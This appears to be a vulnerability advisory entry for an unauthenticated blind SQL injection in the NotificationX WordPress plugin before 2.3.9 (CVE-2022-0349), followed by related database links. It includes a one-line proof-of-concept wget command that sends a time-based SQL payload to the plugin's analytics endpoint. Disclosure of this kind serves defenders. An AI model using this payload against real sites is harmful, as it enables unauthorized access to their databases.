Lucene search
Krzysztof ZającWPVDB-ID:1D0DD7BE-29F3-4043-A9C6-67D02746463AHistoryFeb 02, 2022 - 12:00 a.m.
NotificationX < 2.3.9 - Unauthenticated Blind SQL Injection
2022-02-0200:00:00
Krzysztof Zając
wpscan.com
12
0.024 Low
EPSS
Percentile
90.0%
The plugin does not sanitise and escape the nx_id parameter before using it in a SQL statement, leading to an Unauthenticated Blind SQL Injection
PoC
time wget ‘https://example.com/?rest_route=/notificationx/v1/analytics’ --post-data=“nx_id=sleep(2) – x” -q -O-
| CPE | Name | Operator | Version |
|---|---|---|---|
| notificationx | lt | 2.3.9 |
Related
cnvd
cnvd
WordPress NotificationX Plugin SQL Injection Vulnerability
2022-03-09 00:00:00
prion
prion
Sql injection
2022-03-07 09:15:00
cvelist
cvelist
CVE-2022-0349 NotificationX < 2.3.9 - Unauthenticated Blind SQL Injection
2022-03-07 08:16:27
wpexploit
wpexploit
NotificationX < 2.3.9 - Unauthenticated Blind SQL Injection
2022-02-02 00:00:00
nvd
nvd
CVE-2022-0349
2022-03-07 09:15:09
patchstack
patchstack
nuclei
nuclei
WordPress NotificationX <2.3.9 - SQL Injection
2022-10-01 13:26:09
cve
cve
CVE-2022-0349
2022-03-07 09:15:09